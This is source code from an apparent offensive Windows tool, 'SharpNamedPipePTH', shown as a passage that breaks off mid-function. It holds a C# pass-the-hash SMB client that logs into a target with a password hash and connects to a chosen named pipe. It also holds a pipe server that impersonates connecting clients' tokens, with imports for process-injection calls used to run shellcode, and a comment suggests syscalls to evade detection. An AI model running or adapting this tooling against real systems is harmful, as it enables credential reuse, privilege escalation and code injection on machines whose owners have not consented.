output.AppendLine("Authentication Successful"); } 369 | Login_Successful = true; 370 | } 371 | else 372 | { 373 | output.AppendLine("Unable to Authenticate to Target."); 374 | Console.WriteLine(output.ToString()); 375 | } 376 | } 377 | 378 | if (debug) { output.AppendLine(String.Format("Login Status: {0}", Login_Successful)); } 379 | if (Login_Successful) 380 | { 381 | byte[] SMB_Path_Bytes; 382 | string SMB_Path = "\\\\" + Target + "\\IPC$"; 383 | 384 | if (ForceSMB1) 385 | { 386 | SMB_Path_Bytes = Encoding.UTF8.GetBytes(SMB_Path).Concat(new byte[] { 0x00 }).ToArray(); 387 | } 388 | else 389 | { 390 | SMB_Path_Bytes = Encoding.Unicode.GetBytes(SMB_Path); 391 | } 392 | 393 | int SMB_Signing_Counter = 0; 394 | byte[] SMB_Tree_ID = new byte[2]; 395 | string SMB_Client_Stage_Next = ""; 396 | if (ForceSMB1) 397 | { 398 | SMBClientStage = "TreeConnectAndXRequest"; 399 | while (SMBClientStage != "exit" && SMBConnect_Failed == false) 400 | { 401 | if (debug) { output.AppendLine(String.Format("Current Stage {0}", SMBClientStage)); } 402 | switch (SMBClientStage) 403 | { 404 | case "TreeConnectAndXRequest": 405 | { 406 | Packet_SMB_Header = new OrderedDictionary(); 407 | Packet_SMB_Header = SMBConnect.SMBHeader(new byte[] { 0x75 }, new byte[] { 0x18 }, new byte[] { 0x01, 0x48 }, new byte[] { 0xff, 0xff }, Process_ID_Bytes, SMB_User_ID); 408 | if (SMB_Signing) 409 | { 410 | Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; 411 | SMB_Signing_Counter = 2; 412 | SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); 413 | Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; 414 | } 415 | SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); 416 | Packet_SMB_Data = SMBConnect.SMBTreeConnectAndXRequest(SMB_Path_Bytes); 417 | SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); 418 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); 419 | 420 | if (SMB_Signing) 421 | { 422 | SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray(); 423 | SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); 424 | SMB_Signature2 = Utilities.GetByteRange(SMB_Signature, 0, 7); 425 | Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature2; 426 | SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); 427 | } 428 | 429 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); 430 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 431 | SMBClientStage = "CreateAndXRequest"; 432 | } 433 | break; 434 | case "CreateAndXRequest": 435 | { 436 | byte[] pipeBytes = Encoding.UTF8.GetBytes(pipename); 437 | List PTH_Pipe_List = new List(); 438 | foreach (byte pipeByte in pipeBytes) 439 | { 440 | PTH_Pipe_List.Add(pipeByte); 441 | PTH_Pipe_List.Add(0x00); 442 | 443 | } 444 | SMB_Named_Pipe_Bytes = PTH_Pipe_List.ToArray(); // new byte[] { 0x74, 0x00, 0x65, 0x00, 0x73, 0x00, 0x74, 0x00, 0x70, 0x00, 0x69, 0x00, 0x70, 0x00, 0x65, 0x00, 0x73, 0x00 }; //testpipes, original was svcctl 445 | SMB_Tree_ID = Utilities.GetByteRange(SMBClientReceive, 28, 29); 446 | Packet_SMB_Header = SMBConnect.SMBHeader(new byte[] { 0xa2 }, new byte[] { 0x18 }, new byte[] { 0x02, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); 447 | if (SMB_Signing) 448 | { 449 | Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; 450 | SMB_Signing_Counter += 2; 451 | SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); 452 | Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; 453 | } 454 | SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); 455 | Packet_SMB_Data = SMBConnect.SMBNTCreateAndXRequest(SMB_Named_Pipe_Bytes); 456 | SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); 457 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); 458 | 459 | if (SMB_Signing) 460 | { 461 | SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray(); 462 | SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); 463 | SMB_Signature2 = Utilities.GetByteRange(SMB_Signature, 0, 7); 464 | Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature2; 465 | SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); 466 | } 467 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); 468 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 469 | SMBClientStage = "CloseRequest"; 470 | 471 | } 472 | break; 473 | 474 | 475 | case "CloseRequest": 476 | { 477 | Packet_SMB_Header = SMBConnect.SMBHeader(new byte[] { 0x04 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); 478 | 479 | if (SMB_Signing) 480 | { 481 | Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; 482 | SMB_Signing_Counter += 2; 483 | SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); 484 | Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; 485 | } 486 | SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); 487 | Packet_SMB_Data = SMBConnect.SMBCloseRequest(new byte[] { 0x00, 0x40 }); 488 | SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); 489 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); 490 | 491 | if (SMB_Signing) 492 | { 493 | SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray(); 494 | SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); 495 | SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); 496 | Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; 497 | SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); 498 | } 499 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); 500 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 501 | SMBClientStage = "TreeDisconnect"; 502 | } 503 | break; 504 | case "TreeDisconnect": 505 | { 506 | Packet_SMB_Header = SMBConnect.SMBHeader(new byte[] { 0x71 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID); 507 | 508 | if (SMB_Signing) 509 | { 510 | Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; 511 | SMB_Signing_Counter += 2; 512 | SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); 513 | Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; 514 | } 515 | SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); 516 | Packet_SMB_Data = SMBConnect.SMBTreeDisconnectRequest(); 517 | SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); 518 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); 519 | 520 | 521 | if (SMB_Signing) 522 | { 523 | SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray(); 524 | SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); 525 | SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); 526 | Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; 527 | SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); 528 | } 529 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); 530 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 531 | SMBClientStage = "Logoff"; 532 | } 533 | break; 534 | case "Logoff": 535 | { 536 | Packet_SMB_Header = SMBConnect.SMBHeader(new byte[] { 0x74 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, new byte[] { 0x34, 0xfe }, Process_ID_Bytes, SMB_User_ID); 537 | 538 | if (SMB_Signing) 539 | { 540 | Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; 541 | SMB_Signing_Counter += 2; 542 | SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); 543 | Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signing_Sequence; 544 | } 545 | SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); 546 | Packet_SMB_Data = SMBConnect.SMBLogoffAndXRequest(); 547 | SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); 548 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); 549 | 550 | 551 | if (SMB_Signing) 552 | { 553 | SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray(); 554 | SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign); 555 | SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7); 556 | Packet_SMB_Header["SMBHeader_Signature"] = SMB_Signature; 557 | SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); 558 | } 559 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); 560 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 561 | SMBClientStage = "exit"; 562 | } 563 | break; 564 | } 565 | 566 | } 567 | } 568 | else 569 | { 570 | SMBClientStage = "TreeConnect"; 571 | HMACSHA256 HMAC_SHA256 = new HMACSHA256(); 572 | 573 | while (SMBClientStage != "exit" && SMBConnect_Failed == false) 574 | { 575 | if (debug) { output.AppendLine(String.Format("Current Stage {0}", SMBClientStage)); } 576 | switch (SMBClientStage) 577 | { 578 | case "TreeConnect": 579 | { 580 | SMB2_Message_ID++; 581 | Packet_SMB2_Header = SMBConnect.SMB2Header(new byte[] { 0x03, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); 582 | Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; 583 | 584 | if (SMB_Signing) 585 | { 586 | Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; 587 | } 588 | 589 | Packet_SMB2_Data = SMBConnect.SMB2TreeConnectRequest(SMB_Path_Bytes); 590 | SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); 591 | SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); 592 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); 593 | if (SMB_Signing) 594 | { 595 | HMAC_SHA256 = new HMACSHA256(); 596 | SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray(); 597 | SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); 598 | SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); 599 | Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; 600 | SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); 601 | } 602 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); 603 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 604 | SMBClientStage = "CreateRequest"; 605 | } 606 | break; 607 | case "CreateRequest": 608 | { 609 | SMB2_Tree_ID = new byte[] { 0x01, 0x00, 0x00, 0x00 }; 610 | byte[] pipeBytes = Encoding.UTF8.GetBytes(pipename); 611 | List PTH_Pipe_List = new List(); 612 | foreach (byte pipeByte in pipeBytes) 613 | { 614 | PTH_Pipe_List.Add(pipeByte); 615 | PTH_Pipe_List.Add(0x00); 616 | 617 | } 618 | SMB_Named_Pipe_Bytes = PTH_Pipe_List.ToArray(); 619 | // SMB_Named_Pipe_Bytes = new byte[] { 0x74, 0x00, 0x65, 0x00, 0x73, 0x00, 0x74, 0x00, 0x70, 0x00, 0x69, 0x00, 0x70, 0x00, 0x65, 0x00 }; //testpipes, original was svcctl 620 | SMB2_Message_ID++; 621 | Packet_SMB2_Header = SMBConnect.SMB2Header(new byte[] { 0x05, 0x0 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); 622 | Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; 623 | if (SMB_Signing) 624 | { 625 | Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; 626 | } 627 | Packet_SMB2_Data = SMBConnect.SMB2CreateRequestFile(SMB_Named_Pipe_Bytes); 628 | Packet_SMB2_Data["SMB2CreateRequestFIle_Share_Access"] = new byte[] { 0x07, 0x00, 0x00, 0x00 }; 629 | SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); 630 | SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); 631 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); 632 | if (SMB_Signing) 633 | { 634 | HMAC_SHA256 = new HMACSHA256(); 635 | SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray(); 636 | SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); 637 | SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); 638 | Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; 639 | SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); 640 | } 641 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); 642 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 643 | SMBClientStage = "CloseRequest"; 644 | } 645 | break; 646 | 647 | 648 | case "StatusPending": 649 | { 650 | SMBClientStream.Read(SMBClientReceive, 0, SMBClientReceive.Length); 651 | if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 12, 15)) != "03-01-00-00") 652 | { 653 | SMBClientStage = SMB_Client_Stage_Next; 654 | } 655 | } 656 | break; 657 | 658 | 659 | 660 | case "CloseRequest": 661 | { 662 | SMB2_Message_ID += 20; 663 | Packet_SMB2_Header = SMBConnect.SMB2Header(new byte[] { 0x06, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); 664 | Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; 665 | if (SMB_Signing) 666 | { 667 | Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; 668 | } 669 | 670 | SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); 671 | SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); 672 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); 673 | if (SMB_Signing) 674 | { 675 | HMAC_SHA256 = new HMACSHA256(); 676 | SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray(); 677 | SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); 678 | SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); 679 | Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; 680 | SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); 681 | } 682 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); 683 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 684 | SMBClientStage = "TreeDisconnect"; 685 | } 686 | break; 687 | 688 | case "TreeDisconnect": 689 | { 690 | SMB2_Message_ID++; 691 | Packet_SMB2_Header = SMBConnect.SMB2Header(new byte[] { 0x04, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); 692 | Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; 693 | if (SMB_Signing) 694 | { 695 | Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; 696 | } 697 | Packet_SMB2_Data = SMBConnect.SMB2TreeDisconnectRequest(); 698 | SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); 699 | SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); 700 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); 701 | if (SMB_Signing) 702 | { 703 | HMAC_SHA256 = new HMACSHA256(); 704 | SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray(); 705 | SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); 706 | SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); 707 | Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; 708 | SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); 709 | } 710 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); 711 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 712 | SMBClientStage = "Logoff"; 713 | } 714 | break; 715 | case "Logoff": 716 | { 717 | SMB2_Message_ID += 20; 718 | Packet_SMB2_Header = SMBConnect.SMB2Header(new byte[] { 0x02, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); 719 | Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; 720 | if (SMB_Signing) 721 | { 722 | Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; 723 | } 724 | Packet_SMB2_Data = SMBConnect.SMB2SessionLogoffRequest(); 725 | SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); 726 | SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); 727 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); 728 | if (SMB_Signing) 729 | { 730 | HMAC_SHA256 = new HMACSHA256(); 731 | SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray(); 732 | 733 | SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); 734 | SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); 735 | Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; 736 | SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); 737 | } 738 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); 739 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 740 | SMBClientStage = "exit"; 741 | } 742 | break; 743 | } 744 | } 745 | } 746 | } 747 | SMBClient.Close(); 748 | SMBClientStream.Close(); 749 | } 750 | 751 | Console.WriteLine(output.ToString()); 752 | } 753 | 754 | 755 | private static byte[] SendStream(NetworkStream stream, byte[] BytesToSend) 756 | { 757 | byte[] BytesReceived = new byte[2048]; 758 | stream.Write(BytesToSend, 0, BytesToSend.Length); 759 | stream.Flush(); 760 | stream.Read(BytesReceived, 0, BytesReceived.Length); 761 | return BytesReceived; 762 | } 763 | 764 | private static byte[] GetNetBIOSSessionService(int SMB_Header_Length, int RPC_Data_Length) 765 | { 766 | OrderedDictionary Packet_NetBIOS_Session_Service = SMBConnect.NetBIOSSessionService(SMB_Header_Length, RPC_Data_Length); 767 | byte[] NetBIOS_Session_Service = Utilities.ConvertFromPacketOrderedDictionary(Packet_NetBIOS_Session_Service); 768 | return NetBIOS_Session_Service; 769 | 770 | } 771 | 772 | } 773 | } 774 | -------------------------------------------------------------------------------- /SharpNamedPipePTH/PipeServerImpersonate.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Security.Principal; 4 | using System.Diagnostics; 5 | 6 | namespace SharpNamedPipePTH 7 | { 8 | class PipeServerImpersonate 9 | { 10 | 11 | public struct SECURITY_ATTRIBUTES 12 | { 13 | public int nLength; 14 | public IntPtr lpSecurityDescriptor; 15 | public int bInheritHandle; 16 | } 17 | 18 | public static uint PIPE_ACCESS_DUPLEX = 0x00000003; 19 | public static uint PIPE_READMODE_BYTE = 0x00000000; 20 | public static uint PIPE_TYPE_BYTE = 0x00000000; 21 | public static uint PIPE_WAIT = 0x00000000; 22 | public static uint TOKEN_ALL_ACCESS = 0xF01FF; 23 | public static uint TOKENUSER = 1; 24 | public static uint SECURITY_IMPERSONATION = 2; 25 | public static uint TOKEN_PRIMARY = 1; 26 | 27 | [StructLayout(LayoutKind.Sequential)] 28 | public struct PROCESS_INFORMATION 29 | { 30 | public IntPtr hProcess; 31 | public IntPtr hThread; 32 | public int dwProcessId; 33 | public int dwThreadId; 34 | } 35 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 36 | public struct STARTUPINFO 37 | { 38 | public Int32 cb; 39 | public string lpReserved; 40 | public string lpDesktop; 41 | public string lpTitle; 42 | public Int32 dwX; 43 | public Int32 dwY; 44 | public Int32 dwXSize; 45 | public Int32 dwYSize; 46 | public Int32 dwXCountChars; 47 | public Int32 dwYCountChars; 48 | public Int32 dwFillAttribute; 49 | public Int32 dwFlags; 50 | public Int16 wShowWindow; 51 | public Int16 cbReserved2; 52 | public IntPtr lpReserved2; 53 | public IntPtr hStdInput; 54 | public IntPtr hStdOutput; 55 | public IntPtr hStdError; 56 | } 57 | 58 | public enum CreationFlags 59 | { 60 | DefaultErrorMode = 0x04000000, 61 | NewConsole = 0x00000010, 62 | CREATE_NO_WINDOW = 0x08000000, 63 | NewProcessGroup = 0x00000200, 64 | SeparateWOWVDM = 0x00000800, 65 | Suspended = 0x00000004, 66 | UnicodeEnvironment = 0x00000400, 67 | ExtendedStartupInfoPresent = 0x00080000 68 | } 69 | public enum LogonFlags 70 | { 71 | WithProfile = 1, 72 | NetCredentialsOnly = 0 73 | } 74 | 75 | [StructLayout(LayoutKind.Sequential)] 76 | struct PROFILEINFO 77 | { 78 | public int dwSize; 79 | public int dwFlags; 80 | [MarshalAs(UnmanagedType.LPTStr)] 81 | public String lpUserName; 82 | [MarshalAs(UnmanagedType.LPTStr)] 83 | public String lpProfilePath; 84 | [MarshalAs(UnmanagedType.LPTStr)] 85 | public String lpDefaultPath; 86 | [MarshalAs(UnmanagedType.LPTStr)] 87 | public String lpServerName; 88 | [MarshalAs(UnmanagedType.LPTStr)] 89 | public String lpPolicyPath; 90 | public IntPtr hProfile; 91 | } 92 | 93 | 94 | // Imports, feel free porting them to D/Invoke or Syscalls :P 95 | 96 | [DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Auto, SetLastError = true)] 97 | public static extern IntPtr CreateNamedPipeW(string pipeName, int openMode, int pipeMode, int maxInstances, int outBufferSize, int inBufferSize, int defaultTimeout, ref SECURITY_ATTRIBUTES securityAttributes); 98 | 99 | 100 | [DllImport("kernel32.dll")] 101 | static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped); 102 | 103 | [DllImport("Advapi32.dll")] 104 | static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe); 105 | 106 | [DllImport("advapi32.dll", SetLastError = true)] 107 | static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle); 108 | 109 | [DllImport("kernel32.dll")] 110 | static extern IntPtr GetCurrentThread(); 111 | 112 | [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] 113 | public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 114 | 115 | [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] 116 | public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken); 117 | 118 | [DllImport("advapi32.dll", SetLastError = true)] 119 | static extern bool RevertToSelf(); 120 | 121 | [DllImport("kernel32.dll")] 122 | public static extern IntPtr WaitForSingleObject(IntPtr handle, int dwMilliseconds); 123 | 124 | [DllImport("Advapi32.dll")] 125 | private static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor( 126 | string StringSecurityDescriptor, 127 | uint StringSDRevision, 128 | out IntPtr SecurityDescriptor, 129 | IntPtr SecurityDescriptorSize); 130 | 131 | 132 | // DInvoke Stuff 133 | 134 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 135 | delegate SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS NtOpenProcess( 136 | ref IntPtr ProcessHandle, 137 | uint DesiredAccess, 138 | ref OBJECT_ATTRIBUTES ObjectAttributes, 139 | ref CLIENT_ID ClientId); 140 | 141 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 142 | delegate SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS NtAllocateVirtualMemory( 143 | IntPtr ProcessHandle, 144 | ref IntPtr BaseAddress, 145 | IntPtr ZeroBits, 146 | ref IntPtr RegionSize, 147 | uint AllocationType, 148 | uint Protect); 149 | 150 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 151 | delegate SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS NtWriteVirtualMemory( 152 | IntPtr ProcessHandle, 153 | IntPtr BaseAddress, 154 | IntPtr Buffer, 155 | uint BufferLength, 156 | ref uint BytesWritten); 157 | 158 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 159 | delegate SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS NtProtectVirtualMemory( 160 | IntPtr ProcessHandle, 161 | ref IntPtr BaseAddress, 162 | ref IntPtr RegionSize, 163 | uint NewProtect, 164 | ref uint OldProtect); 165 | 166 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 167 | delegate SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS NtCreateThreadEx( 168 | out IntPtr threadHandle, 169 | SharpNamedPipePTH.DynamicInvokation.Win32.WinNT.ACCESS_MASK desiredAccess, 170 | IntPtr objectAttributes, 171 | IntPtr processHandle, 172 | IntPtr startAddress, 173 | IntPtr parameter, 174 | bool createSuspended, 175 | int stackZeroBits, 176 | int sizeOfStack, 177 | int maximumStackSize, 178 | IntPtr attributeList); 179 | 180 | [StructLayout(LayoutKind.Sequential, Pack = 0)] 181 | struct OBJECT_ATTRIBUTES 182 | { 183 | public int Length; 184 | public IntPtr RootDirectory; 185 | public IntPtr ObjectName; 186 | public uint Attributes; 187 | public IntPtr SecurityDescriptor; 188 | public IntPtr SecurityQualityOfService; 189 | } 190 | 191 | [StructLayout(LayoutKind.Sequential)] 192 | struct CLIENT_ID 193 | { 194 | public IntPtr UniqueProcess; 195 | public IntPtr UniqueThread; 196 | } 197 | 198 | public static int ProcByName(string processname) 199 | { 200 | Process[] 201 | processlist = Process.GetProcesses(); 202 | foreach (Process theprocess in processlist) 203 | { 204 | if (theprocess.ProcessName == "notepad") 205 | { 206 | return theprocess.Id; 207 | } 208 | } 209 | return 0; 210 | } 211 | 212 | public static void ImpersonateClient(string PipeName, string Binary, byte[] shellcodebytes, string args) 213 | { 214 | // some code from https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/PrintSpoofer.NET/Program.cs, some from https://github.com/BeichenDream/BadPotato/blob/master/Program.cs 215 | 216 | string pipename = PipeName; 217 | string binary = Binary; 218 | 219 | SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES(); 220 | 221 | // Create our named pipe 222 | pipename = string.Format("\\\\.\\pipe\\{0}", pipename); 223 | Console.WriteLine("Create Named Pipe: " + pipename); 224 | ConvertStringSecurityDescriptorToSecurityDescriptor("D:(A;OICI;GA;;;WD)", 1, out securityAttributes.lpSecurityDescriptor, IntPtr.Zero); 225 | 226 | IntPtr hPipe = CreateNamedPipeW(string.Format("\\\\.\\{0}", pipename), 0x00000003 | 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes); 227 | if (hPipe != IntPtr.Zero) 228 | { 229 | // Connect to our named pipe and wait for another client to connect 230 | 231 